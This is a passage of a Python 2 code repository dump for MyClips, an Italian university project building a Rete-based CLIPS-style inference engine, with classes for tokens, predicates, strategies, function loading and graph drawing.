'''\n\n @staticmethod\n def handler():\n '''\n '''\n\n @staticmethod\n def sign():\n return {\n 'sign': 'deffunc',\n 'minParams': 2,\n 'handler': Function.handler\n }\n \n \nclass ProxyError(Exception):\n '''\n Eccezione base lanciata dal Proxy\n '''\n pass\n \nclass DuplicateFunctionError(ProxyError):\n '''\n Lanciata durante il tentativo di ridefinire\n una funzione gia definita\n '''\n pass\n\nclass InvalidHandlerError(ProxyError):\n '''\n Lanciata quando l'handler fornito non e' valido\n '''\n pass\n\nclass FunctionNotFoundError(ProxyError):\n '''\n Lanciata se viene richiesta una funzione non\n presente nel dizionario\n '''\n pass\n \nclass InvalidSignError(ProxyError):\n '''\n Lanciata quando il numero minimo\n di parametri richiesto della funzione\n non e' rispettato\n '''\n pass\n\n\n\nif not Proxy.initied():\n \n# funzioni = [\n# '.Somma',\n# '.Prodotto',\n# '.Sottrazione',\n# '.Divisione',\n# '.Potenza',\n# '.Radice',\n# '.Attributo'\n# ]\n\n import os\n from genericpath import isfile\n \n FUNCS_DIR = os.path.dirname(__file__)\n \n funzioni = ['.'+x[0:-3] for x in os.listdir(FUNCS_DIR) if isfile(FUNCS_DIR + \"/\" +x) and x[-3:] == '.py' and x[0] != '_']\n \n \n for modulo in funzioni:\n if modulo.startswith(\".\"):\n classe = modulo[1:]\n modulo = \"icse.functions\"+modulo\n else:\n lastdot = modulo.rfind('.')\n classe = modulo[lastdot+1:]\n modulo = modulo[0:lastdot]\n \n #print \"Modulo: \",modulo\n #print \"Classe: \",classe\n \n try:\n imported = __import__(modulo, globals(), locals(), [classe], -1)\n attr = getattr(imported, classe)\n \n #print \"Canonical: \",attr\n \n if issubclass(attr, Function):\n sign = attr.sign()\n Proxy.define(sign['sign'], sign['handler'], attr, sign['minParams'])\n except Exception, e:\n # ignoro gli elementi che creano errori\n #raise\n pass\n \n Proxy.set_initied()\n\n" }, { "alpha_fraction": 0.5485148429870605, "alphanum_fraction": 0.5762376189231873, "avg_line_length": 19.70833396911621, "blob_id": "d8d06d8241d9e1b80dd02acaa5366db504012764", "content_id": "94f2d8c44cc0bf173e7fd7ab54c200b7146eb202", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 505, "license_type": "no_license", "max_line_length": 55, "num_lines": 24, "path": "/src/icse/predicates/Eq.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import PositivePredicate\n\nclass Eq(PositivePredicate):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale ad un altro\n '''\n \n SIGN = None\n \n @staticmethod\n def compare(value1, value2):\n '''\n Restituisce (value1==value2)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n return (value1 == value2)\n " }, { "alpha_fraction": 0.5972083806991577, "alphanum_fraction": 0.6071784496307373, "avg_line_length": 31.96666717529297, "blob_id": "3ca4eeee9efd148336af2bda09c6102cbea12bb8", "content_id": "406e6aa6164e68b4335c11227aeea1d62046b195", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1003, "license_type": "no_license", "max_line_length": 81, "num_lines": 30, "path": "/src/icse/strategies/SemplicityStrategy.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.strategies import Strategy\n\nclass SemplicityStrategy(Strategy):\n '''\n Inserisce gli elementi con la stessa salience\n ordinandoli in base al loro indice di complessita'\n Priorita' maggiore agli elementi con indice inferiore\n '''\n\n def insert(self, pnode, token, per_salience_list):\n \n rule_specificity = pnode.get_property('specificity', 0)\n \n for index, (o_pnode, _) in enumerate(per_salience_list):\n if o_pnode.get_property('specificity', 0) >= rule_specificity:\n # lo inserisce prima del primo elemento\n # con indice di complessita' uguale\n # o maggiore\n per_salience_list.insert(index, (pnode, token))\n return\n \n per_salience_list.append((pnode, token))\n\n def resort(self, per_saliance_list):\n per_saliance_list.sort(key=lambda x: x[1].get_property('specificity', 0))\n \n \n" }, { "alpha_fraction": 0.4910467565059662, "alphanum_fraction": 0.502717137336731, "avg_line_length": 35.76393508911133, "blob_id": "7d12a16b8354db177079f412271fc45c3a790648", "content_id": "2803534d0e32a7e03080620711aee23366582431", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11225, "license_type": "no_license", "max_line_length": 191, "num_lines": 305, "path": "/src/icse/NetworkXGraphWrapper.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 11/mag/2012\n\n@author: Francesco Capozzo\n'''\n\nclass NetworkXGraphWrapper(object):\n '''\n classdocs\n '''\n\n _instance = None\n\n def __init__(self):\n self._reinit()\n\n def _reinit(self):\n \n self._isReady = True\n self._nodemap = {}\n self._edgemap = {}\n self._G = None\n self._nodeid = 1\n self._debug = False\n\n try:\n import networkx as nx\n G = nx.DiGraph()\n self._G = G\n except:\n print \"NetworkX init fallito\"\n self._isReady = False\n \n @staticmethod\n def i():\n '''\n @return self\n '''\n if NetworkXGraphWrapper._instance == None:\n NetworkXGraphWrapper._instance = NetworkXGraphWrapper()\n return NetworkXGraphWrapper._instance\n \n \n def set_debug(self, debug):\n self._debug = debug\n\n def is_ready(self):\n return self._isReady\n\n def add_node(self, node, parent=None, linkType=0):\n if not self.is_ready() or self._debug:\n return self._fallback_add_node(node, parent, linkType)\n \n #assert not isinstance(node, int) \n #assert not isinstance(parent, int)\n \n if not self._nodemap.has_key(node):\n \n # nuovo nodo\n self._nodemap[node] = self._nodeid\n self._G.add_node(self._nodeid,attr_dict={\n 'type': str(node.__class__.__name__).split(\".\")[-1],\n 'ref': node\n })\n if getattr(node, 'get_tests', None) != None:\n tests = node.get_tests()\n self._G.node[self._nodeid]['tests'] = [repr(t) for t in tests]\n \n if str(node.__class__.__name__).split(\".\")[-1] == \"AlphaRootNode\":\n self._G.node[self._nodeid]['label'] = 'ROOT'\n\n if str(node.__class__.__name__).split(\".\")[-1] == \"ConstantTestNode\":\n self._G.node[self._nodeid]['label'] = '[{0}] {1} {2}'.format(node.get_field(), str(node.get_predicate().__name__).split(\".\")[-1], node.get_value() )\n\n if str(node.__class__.__name__).split(\".\")[-1] == \"LengthTestNode\":\n self._G.node[self._nodeid]['label'] = '# = {0}'.format(node.get_length())\n\n if str(node.__class__.__name__).split(\".\")[-1] == \"PNode\":\n self._G.node[self._nodeid]['label'] = node.get_name()\n\n if getattr(node, 'get_items', None) != None:\n self._G.node[self._nodeid]['dyn_label'] = lambda ref:'[{0}]'.format(len(ref.get_items()))\n\n\n parent_id = None\n if parent != None:\n parent_id = self._nodemap.get(parent, None)\n if parent_id != None:\n self.add_edge(parent_id, self._nodeid, linkType )\n \n self._nodeid += 1\n \n return self._nodemap[node]\n \n def _fallback_add_node(self, node, parent, linkType):\n \n assert not isinstance(node, int) \n assert not isinstance(parent, int)\n \n if not self._nodemap.has_key(node):\n self._nodemap[node] = self._nodeid\n print \"(\"+str(self._nodeid)+\", \"+str(node.__class__.__name__)+\") Nuovo nodo\"\n \n parent_id = self._nodemap.get(parent, None)\n if parent_id != None:\n self.add_edge(self._nodeid, parent_id , linkType)\n \n self._nodeid += 1\n \n return self._nodemap[node]\n \n \n \n def add_edge(self, child, parent, linkType=0):\n if not self.is_ready() or self._debug:\n return self._fallback_add_edge(child, parent, linkType)\n \n if child == None or parent == None:\n return\n \n if self._nodemap.has_key(child):\n child = self._nodemap[child]\n if self._nodemap.has_key(parent):\n parent = self._nodemap[parent]\n \n self._G.add_edge(child, parent)\n \n self._G.edge[child][parent][\"type\"] = linkType\n \n \n \n def _fallback_add_edge(self, child, parent, linkType):\n if child == None or parent == None:\n return\n\n if self._nodemap.has_key(child):\n child = self._nodemap[child]\n if self._nodemap.has_key(parent):\n parent = self._nodemap[parent]\n\n\n triple = (parent, child, linkType)\n if not self._edgemap.has_key(triple):\n\n if linkType == 0:\n print str(parent)+\" ---------> \"+str(child)\n elif linkType < 0:\n print str(parent)+\" --LEFT---> \"+str(child)\n else:\n print str(parent)+\" --RIGHT--> \"+str(child)\n\n self._edgemap[triple] = True\n \n def draw(self):\n \n if not self.is_ready() or self._debug:\n return\n \n import networkx as nx\n import matplotlib.pyplot as plt\n #import pylab as P\n \n# pos = nx.graphviz_layout(self._G)\n# \n# plt.rcParams['text.usetex'] = False\n# plt.figure(figsize=(8,8))\n# nx.draw_networkx_edges(self._G,pos,alpha=0.3,edge_color='m')\n# nx.draw_networkx_nodes(self._G,pos,node_color='w',alpha=0.4)\n# nx.draw_networkx_edges(self._G,pos,alpha=0.4,node_size=0,width=1,edge_color='k')\n# nx.draw_networkx_labels(self._G,pos,fontsize=14) \n# \n# font = {'color' : 'k',\n# 'fontweight' : 'bold',\n# 'fontsize' : 14} \n# plt.title(\"Rete Network\", font)\n# \n \n #nx.draw_graphviz(self._G)\n #nx.draw_networkx_edge_labels(self._G)\n #P.draw()\n #P.show()\n #plt.show()\n \n G = self._G\n \n eright=[(u,v) for (u,v,d) in G.edges(data=True) if d['type'] > 0]\n eleft=[(u,v) for (u,v,d) in G.edges(data=True) if d['type'] < 0]\n enormal=[(u,v) for (u,v,d) in G.edges(data=True) if d['type'] == 0]\n \n #import pprint\n #pprint.pprint(G.nodes(data=True))\n \n nroots=[n for (n,d) in G.nodes(data=True) if d['type'] == 'AlphaRootNode']\n namems=[n for (n,d) in G.nodes(data=True) if d['type'] == 'AlphaMemory']\n nctns=[n for (n,d) in G.nodes(data=True) if d['type'] == 'ConstantTestNode' or d['type'] == 'LengthTestNode']\n nbmems=[n for (n,d) in G.nodes(data=True) if d['type'] == 'BetaMemory']\n njns=[n for (n,d) in G.nodes(data=True) if d['type'] == 'JoinNode']\n ndjns=[n for (n,d) in G.nodes(data=True) if d['type'] == 'DummyJoinNode']\n npnodes=[n for (n,d) in G.nodes(data=True) if d['type'] == 'PNode']\n nnjns=[n for (n,d) in G.nodes(data=True) if d['type'] == 'NegativeNode']\n ndnjns=[n for (n,d) in G.nodes(data=True) if d['type'] == 'DummyNegativeNode']\n fns=[n for (n,d) in G.nodes(data=True) if d['type'] == 'FilterNode']\n nccs=[n for (n,d) in G.nodes(data=True) if d['type'] == 'NccNode']\n nccps=[n for (n,d) in G.nodes(data=True) if d['type'] == 'NccPartnerNode']\n \n\n ltests=dict([(n,\"\\n\".join(d['tests'])) for (n,d) in G.nodes(data=True) if d.has_key('tests') and len(d['tests']) > 0])\n llabels=dict([(n,d['label']) for (n,d) in G.nodes(data=True) if d.has_key('label') and not d.has_key('dyn_label')])\n lbothlabels=dict([(n,\"\\n\".join([d['dyn_label'](d['ref']), d['label']])) for (n,d) in G.nodes(data=True) if d.has_key('label') and d.has_key('dyn_label') and callable(d['dyn_label'])])\n ldynlabels=dict([(n,d['dyn_label'](d['ref'])) for (n,d) in G.nodes(data=True) if d.has_key('dyn_label') and ( not d.has_key('label') ) and callable(d['dyn_label'])])\n\n try:\n pos = nx.graphviz_layout(G, root=nroots[0]) # positions for all nodes\n except ImportError:\n pos = nx.spring_layout(G)\n \n \n # nodes\n #nx.draw_networkx_nodes(G,pos,node_size=600)\n\n # differenzio i nodi per tipo\n # ROOT\n nx.draw_networkx_nodes(G,pos,nodelist=nroots,\n node_size=1000,alpha=0.7)\n \n # CONSTANT TEST NODE\n nx.draw_networkx_nodes(G,pos,nodelist=nctns,\n node_size=600,alpha=0.7,node_color='w')\n\n # ALPHA MEMORIES\n nx.draw_networkx_nodes(G,pos,nodelist=namems,\n node_size=600,alpha=0.7,node_color='y',node_shape='s')\n\n # DUMMY JOINS\n nx.draw_networkx_nodes(G,pos,nodelist=ndjns,\n node_size=900,alpha=0.7,node_color='b',node_shape='v')\n \n # JOINS\n nx.draw_networkx_nodes(G,pos,nodelist=njns,\n node_size=900,alpha=0.7,node_color='w',node_shape='v')\n\n # BETA MEMORIES\n nx.draw_networkx_nodes(G,pos,nodelist=nbmems,\n node_size=600,alpha=0.7,node_color='r',node_shape='s')\n\n # DUMMY NEGATIVE JOINS\n nx.draw_networkx_nodes(G,pos,nodelist=ndnjns,\n node_size=900,alpha=0.7,node_color='b',node_shape='^')\n \n # NEGATIVE JOINS\n nx.draw_networkx_nodes(G,pos,nodelist=nnjns,\n node_size=900,alpha=0.7,node_color='w',node_shape='^')\n \n # FILTER NODES\n nx.draw_networkx_nodes(G,pos,nodelist=fns,\n node_size=900,alpha=0.7,node_color='g',node_shape='p')\n \n # NCC-NODES\n nx.draw_networkx_nodes(G,pos,nodelist=nccs,\n node_size=600,alpha=0.7,node_color='g',node_shape='s')\n\n # NCCP-NODES\n nx.draw_networkx_nodes(G,pos,nodelist=nccps,\n node_size=600,alpha=0.7,node_color='g',node_shape='d')\n \n # PNODES\n nx.draw_networkx_nodes(G,pos,nodelist=npnodes,\n node_size=900,alpha=0.7,node_color='w',node_shape='8')\n \n \n \n \n # edges\n nx.draw_networkx_edges(G,pos,edgelist=eright,\n width=3,alpha=0.5,edge_color='r')\n nx.draw_networkx_edges(G,pos,edgelist=eleft,\n width=3,alpha=0.5,edge_color='g')\n nx.draw_networkx_edges(G,pos,edgelist=enormal,\n width=3,alpha=0.5,edge_color='b',style='dashed')\n \n \n # labels\n nx.draw_networkx_labels(G,pos,labels=ltests,font_size=10)\n nx.draw_networkx_labels(G,pos,labels=llabels,font_size=10)\n nx.draw_networkx_labels(G,pos,labels=lbothlabels,font_size=10)\n nx.draw_networkx_labels(G,pos,labels=ldynlabels,font_size=10)\n \n plt.axis('off')\n plt.box(\"off\")\n plt.subplots_adjust(left=0, bottom=0, right=1, top=1,\n wspace=0, hspace=0)\n #plt.savefig(\"weighted_graph.png\") # save as png\n plt.show() # display \n \n def clear(self):\n \n if not self.is_ready():\n return\n \n #import networkx as nx\n import matplotlib.pyplot as plt\n \n plt.clf()\n \n self._reinit()\n " }, { "alpha_fraction": 0.5403765439987183, "alphanum_fraction": 0.5431013107299805, "avg_line_length": 32.1728401184082, "blob_id": "f65352677ab1e5d831e09f48eac22a10a5cfd439", "content_id": "1adeb63a732f4b1e4215f8571e254e6feb9b2291", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8074, "license_type": "no_license", "max_line_length": 102, "num_lines": 243, "path": "/src/icse/rete/Token.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 07/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.rete.NegativeJoinResult import NegativeJoinResult\n\nclass Token(object):\n '''\n Token: rappresenta una sequenza di wme in maniera incrementale.\n Ogni sequenza viene rappresentata come l'aggiunta di una nuova wme\n ad un precendente token:\n token< token< token< dummytoken< wme>, wme>, wme>, wme>\n '''\n\n\n def __init__(self, node, parent, w):\n '''\n Costruisce un nuovo token appartenente ad un nodo. Partendo da \n un token padre e aggiungendo una nuova wme alla sequenza\n \n @param node: ReteNode\n @param parent: Token\n @param w: WME \n '''\n# assert isinstance(parent, Token), \\\n# \"parent non e' un Token\"\n# assert isinstance(w, WME), \\\n# \"w non e' una WME\"\n# assert isinstance(node, ReteNode), \\\n# \"node non e' un ReteNode\"\n \n self.__parent = parent\n self.__wme = w\n # e' probabile che questo vada riferito ad una BetaMemory/Join direttamente\n # di appartenenza\n self.__node = node\n \n # lista di Token\n self.__children = []\n # lista di NegativeJoinResults\n self.__njresults = []\n # lista di Token per ncc\n self.__nccresults = []\n # solo per token in NCC partner\n # e' di tipo Token\n self.__owner = None\n \n # prepara tutti i riferimenti incrociati che servono per la\n # tree-based removal\n if self.__parent != None:\n self.__parent._add_child(self)\n if self.__wme != None:\n self.__wme.add_token(self)\n \n \n def get_wme(self):\n '''\n Restituisce la WME rappresentata in questo token\n @return WME\n '''\n return self.__wme\n \n def get_parent(self):\n '''\n Restituisce il Token padre\n @return: Token\n '''\n return self.__parent\n \n def add_njresult(self, njr):\n '''\n Aggiunge una nuova NegativeJoinResult\n nella lista delle negative-join-results\n '''\n# assert isinstance(njr, NegativeJoinResult), \\\n# \"njr non e' un NegativeJoinResult\"\n \n #self.__njresults.insert(0, njr)\n self.__njresults.append(njr)\n \n def remove_njresult(self, njr):\n '''\n Rimuove una NegativeJoinResult\n dalla lista\n '''\n self.__njresults.remove(njr)\n \n def count_njresults(self):\n '''\n Conta il numero di NegativeJoinResult in lista\n '''\n return len(self.__njresults)\n \n def add_nccresult(self, nccr):\n '''\n Inserisce un Token nella lista di risultati ncc\n '''\n assert isinstance(nccr, Token), \\\n \"nccr non e' un Token\"\n #self.__nccresults.insert(0, nccr)\n self.__nccresults.append(nccr)\n \n def remove_nccresult(self, nccr):\n '''\n Rimuove un Token dalla lista dei risultati ncc\n '''\n self.__nccresults.remove(nccr)\n \n def count_nccresults(self):\n return len(self.__nccresults)\n \n def set_owner(self, t):\n '''\n Flagga un Token come owner di questo\n '''\n assert isinstance(t, Token), \\\n \"t non e' un Token\"\n \n self.__owner = t\n \n def get_node(self):\n return self.__node\n \n def delete(self):\n '''\n Cancella questo token e tutti i discendenti\n dalla rete. Gestisce anche l'eventuale rivalutazione\n dei nodi Ncc nel caso in cui la rimozione di questo token\n dovesse richiedere l'attivazione del nodo \n '''\n #riferimento:\n # delete-token-and-descendents pagina 51 [modificato]\n \n from icse.rete.Nodes import NccPartnerNode, NegativeNode, NccNode, ReteNode\n\n \n # l'onere di rimozione dalla lista sta al figlio (tramite l'invocazione di parent.remove_child\n #while len(self.__children) > 0 :\n # child = self.__children.pop(0)\n # ricorsione... distrugge ogni figlio\n # child.delete()\n # del child\n\n #for child in self.__children:\n # child.delete()\n self.deleteDescendents()\n \n \n # Il nodo in self.__node per forza di cose deve\n # poter memorizzare il token, quindi e' legittimo\n # pensare che possiamo chiamare il remove_item senza\n # porci molti problemi \n if not isinstance(self.__node, NccPartnerNode):\n self.__node.remove_item(self)\n \n # rimuove il riferimento a questo token che c'e' nella wme\n if self.__wme != None:\n self.__wme.remove_token(self)\n \n # rimuove il riferimento a questo token dalla lista dei figli del padre\n self.__parent._remove_child(self)\n \n # valuta casi speciali per i nodi negativi\n if isinstance(self.__node, NegativeNode):\n # rimuove tutte le njr generate da questo token\n # uso while al posto di jr in modo\n # che il riferimento a jr venga eliminato\n # dall'array\n # Penso possa essere utile per il garbage collector\n \n while len(self.__njresults) > 0:\n #jr = self.__njresults.pop(0)\n jr = self.__njresults.pop()\n assert isinstance(jr, NegativeJoinResult), \\\n \"jr non e' un NegativeJoinResult\"\n #jr.get_wme().remove_njresult(jr)\n wme_of_jr = jr.get_wme()\n wme_of_jr.remove_njresult(jr)\n del jr\n \n elif isinstance(self.__node, NccNode):\n # pulisce i risultati ncc correlati all'esistenza di questo token\n while len(self.__nccresults) > 0:\n #rtok = self.__nccresults.pop(0)\n rtok = self.__nccresults.pop()\n rtok.__wme.remove_token(rtok)\n rtok.__parent._remove_child(rtok)\n del rtok\n \n elif isinstance(self.__node, NccPartnerNode):\n # rimuove questo token dalla lista dei risultati parziali\n # e chiama la rivalutazione del nodo\n # (in modo che se non ci siano match l'evento venga propagato)\n assert isinstance(self.__node, NccPartnerNode)\n self.__owner.remove_nccresult(self)\n if self.__owner.count_nccresults() == 0:\n # devo propagare l'attivazione ai figli in quanto\n # non ho piu' match per il nodo negativo\n # dopo la rimozione di questo\n for child in self.__node.get_nccnode().get_children():\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n child.leftActivation(self.__owner)\n \n def deleteDescendents(self):\n '''\n Rimuove tutti i discendenti di questo token\n dalla rete\n '''\n # la rimozione deve avvenire\n # usando un while perche\n # la rimzione del token dalla lista\n # e' richiesta dal token figlio,\n # quindi la lista e' aggiornata continuamente\n # e quindi l'indice sballa\n while len(self.__children) > 0:\n tok = self.__children[0]\n tok.delete()\n #self.__children.pop(0).delete()\n \n def _add_child(self, t):\n #self.__children.insert(0, t)\n self.__children.append(t)\n \n def _remove_child(self, t):\n self.__children.remove(t)\n \n \n def linearize(self, includeNone=True):\n current = self\n wmes = []\n while current.get_parent() != None:\n if includeNone or current.get_wme() != None:\n wmes.insert(0, current.get_wme())\n current = current.get_parent()\n \n return wmes\n\nclass DummyToken(Token):\n \n def __init__(self):\n Token.__init__(self, None, None, None)\n \n " }, { "alpha_fraction": 0.6247943043708801, "alphanum_fraction": 0.6313768625259399, "avg_line_length": 29.366666793823242, "blob_id": "78c06584561c78d4d76635996410b8138e505cb6", "content_id": "6a607db717132930514c0d22b3967009669036f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1823, "license_type": "no_license", "max_line_length": 79, "num_lines": 60, "path": "/src/icse/utils.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 27/mar/2012\n\n@author: ximarx\n'''\nimport os\nimport sys\n\ndef new_object_from_complete_classname(qclass, constrParams=None):\n \n if constrParams == None:\n constrParams = []\n \n lastdot = qclass.rfind('.')\n modulename = qclass[0:lastdot]\n classname = qclass[lastdot + 1:]\n \n return new_object_from_classname(classname, constrParams, modulename)\n \n #__import__('icse.ps.constraints.OrChain')\n #chain2 = globals()['OrChain']()\n \ndef new_object_from_classname(classname, constrParams=None, modulename=None):\n \n if constrParams == None:\n constrParams = []\n \n \n if modulename != None:\n imported = __import__(modulename, globals(), locals(), [classname], -1)\n attr = getattr(imported, classname)\n #print \"creo: \"+classname+\" con \",constrParams\n if isinstance(constrParams, list):\n return attr(*constrParams)\n elif isinstance(constrParams, dict):\n return attr(**constrParams)\n else:\n return attr()\n else:\n if isinstance(constrParams, list):\n return globals()[classname](*constrParams)\n elif isinstance(constrParams, dict):\n return globals()[classname](**constrParams)\n else:\n return globals()[classname]()\n\ndef import_path(fullpath):\n '''\n Importa un modulo da qualsiasi percorso (fullpath) deve essere\n un percorso assoluto. Con percorsi relativi gli effetti\n potrebbero essere \"interessanti\" :)\n Una volta caricato il modulo, la path viene rimossa dalla sourcepath\n '''\n path, filename = os.path.split(fullpath)\n filename, _ = os.path.splitext(filename)\n sys.path.insert(0, path)\n module = __import__(filename)\n reload(module) # Might be out of date\n del sys.path[0]\n return module\n\n" }, { "alpha_fraction": 0.4838709533214569, "alphanum_fraction": 0.49892473220825195, "avg_line_length": 18, "blob_id": "d613b9522bdc8bf29d5ce23637e931262dea4260", "content_id": "7a48663b07ba9c4f3613ad3437a89753f9955cf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 465, "license_type": "no_license", "max_line_length": 47, "num_lines": 24, "path": "/src/icse/functions/StringLength.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass StringLength(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'str-length',\n 'minParams': 1,\n 'handler': StringLength.handler\n })\n return sign\n \n @staticmethod\n def handler(op):\n return len(op)\n \n " }, { "alpha_fraction": 0.5831533670425415, "alphanum_fraction": 0.5961123108863831, "avg_line_length": 21.736841201782227, "blob_id": "455998a9247ded0feb4741c9d9e4e77176de4ce3", "content_id": "ace26e979ca97da49d33ac6981bac0199d610cb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 463, "license_type": "no_license", "max_line_length": 76, "num_lines": 19, "path": "/src/icse/actions/TraceRule.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\nimport icse.debug as debug\n\nclass TraceRule(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n \n SIGN = 'trace-rule'\n \n def executeImpl(self, *rules):\n rete = self.getReteNetwork()\n pnodes = [rete.get_production(rulename) for rulename in list(rules)]\n debug.draw_network_fragment(pnodes, rete)\n \n \n \n " }, { "alpha_fraction": 0.4804401099681854, "alphanum_fraction": 0.5024449825286865, "avg_line_length": 23.121212005615234, "blob_id": "073b679b055fcfa0a28c46389f088b9241263df7", "content_id": "8a469d24d175bee9593ea82168f74d9a75ba8111", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 818, "license_type": "no_license", "max_line_length": 73, "num_lines": 33, "path": "/src/icse/predicates/StringNotEq.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import NegativePredicate\n\nclass StringNotEq(NegativePredicate):\n '''\n Predicato di disuguaglianza:\n controlla se un valore e' diverso da tutti gli altri (almeno uno)\n '''\n \n SIGN = 'neq'\n \n @staticmethod\n def compare(*args):\n '''\n Restituisce (value1 != tutti gli altri)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n if len(args) == 2:\n value1, value2 = args\n return (value1 != value2)\n else:\n value1 = args[0]\n for altro in list(args[1:]):\n if value1 == altro:\n return False\n \n return True \n \n " }, { "alpha_fraction": 0.4639696478843689, "alphanum_fraction": 0.4715549945831299, "avg_line_length": 18.649999618530273, "blob_id": "5865c54b4026b10ba5015d5ae87a4041c6aff454", "content_id": "e4ae5a4032042e79df4605fa801b80af586efbb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 791, "license_type": "no_license", "max_line_length": 74, "num_lines": 40, "path": "/src/icse/rete/NegativeJoinResult.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 08/mag/2012\n\n@author: Francesco Capozzo\n'''\n\nclass NegativeJoinResult(object):\n '''\n Match di un join negativo\n '''\n\n\n def __init__(self, owner, wme):\n '''\n Constructor\n '''\n \n #assert isinstance(owner, Token), \\\n # \"owner non e' un Token\"\n \n #assert isinstance(wme, WME), \\\n # \"wme non e' un WME\"\n \n self.__owner = owner\n self.__wme = wme\n \n \n def get_owner(self):\n '''\n Restituisce il token nella cui memoria locale risiede il risultato\n @return: Token \n '''\n return self.__owner\n \n def get_wme(self):\n '''\n Restituisce la wme che matcha il token\n @return: WME\n '''\n return self.__wme\n \n" }, { "alpha_fraction": 0.6517691016197205, "alphanum_fraction": 0.6648044586181641, "avg_line_length": 24.899999618530273, "blob_id": "30f78dd5e90e3ecdef142187a4133ac6a8572cee", "content_id": "708a3e0dcf9f4bb6b206f63250d4f37deb565953", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 537, "license_type": "no_license", "max_line_length": 64, "num_lines": 20, "path": "/src/icse/strategies/RandomStrategy.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.strategies import Strategy\nimport random\n\nclass RandomStrategy(Strategy):\n '''\n Inserisce gli elementi in ordine casuale\n di attivazione per gli elementi con lo stesso salience\n '''\n\n def insert(self, pnode, token, per_salience_list):\n rand_index = random.randrange(0, len(per_salience_list))\n per_salience_list.insert(rand_index, (pnode, token))\n\n def resort(self, per_saliance_list):\n random.shuffle(per_saliance_list)\n\n \n \n" }, { "alpha_fraction": 0.7187893986701965, "alphanum_fraction": 0.7364438772201538, "avg_line_length": 23.71875, "blob_id": "067eb97b36e34a0159d568653233d8d55eee789b", "content_id": "a7c4588f304c7064e88fa0fcefb494207c677cbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 793, "license_type": "no_license", "max_line_length": 119, "num_lines": 32, "path": "/README.md", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "MyClips\n=======\n\nInference Engine in python per corso di ingegneria della conoscenza (uniba)\nbasato su una implementazione dell'algoritmo Rete per il matching delle regole\n\nProgrammi di esempio:\n\n\t- /tests/agricoltore.clp:\n\t\t\tGioco dell'agricoltore\n\t- /tests/blocchi.clp:\n\t\t\tGioco nel mondo dei blocchi\n\t- /tests/secchi.clp:\n\t\t\tProblema dei secchi\n\t- /tests/diagnosi.clp:\n\t\t\tEsempio di sistema di diagnosi delle malattie del fegato\n\nTutti gli altri programmi nella directory /tests/test_* sono singoli test su\nfunzionalita' del sistema e del parser\n\nDocumentazione completa del sistema disponibile su http://www.scribd.com/doc/96927954/MyClips-Documentazione-Di-Sistema\n\n\nRequisiti\n---------\n\n * Eclipse\n * Python 2.7\n * PyDev\n * PyParsing (>= 1.5)\n * MathplotLib (>= 1.1)\n * NetworkX " }, { "alpha_fraction": 0.5731720924377441, "alphanum_fraction": 0.5810825824737549, "avg_line_length": 50.343021392822266, "blob_id": "7ac0637a7205d9f45016713512682fa9b27d9811", "content_id": "11abc8fa3528a39e1c190684ac8e8279f01e1967", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8849, "license_type": "no_license", "max_line_length": 184, "num_lines": 172, "path": "/src/icse/parser/ClipsEbnf.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\n\nimport ebnf\nimport pyparsing as pp\nimport string\nfrom icse.Function import Function\nfrom icse.Variable import Variable\n\ndef _get_function_from_string(funcname):\n import icse.functions as functions\n return functions.Proxy.get(funcname.rstrip())\n \ndef _get_predicate_from_string(predname):\n import icse.predicates as predicates\n return predicates.Proxy.get(predname.rstrip())\n\ndef _get_action_from_string(actionname):\n import icse.actions as actions\n return actions.Proxy.get(actionname.rstrip())\n\ndef _get_strategy_from_string(strategyname):\n try:\n if strategyname != 'depth':\n import icse.utils as utils\n strategyname = strategyname.capitalize() + \"Strategy\"\n return 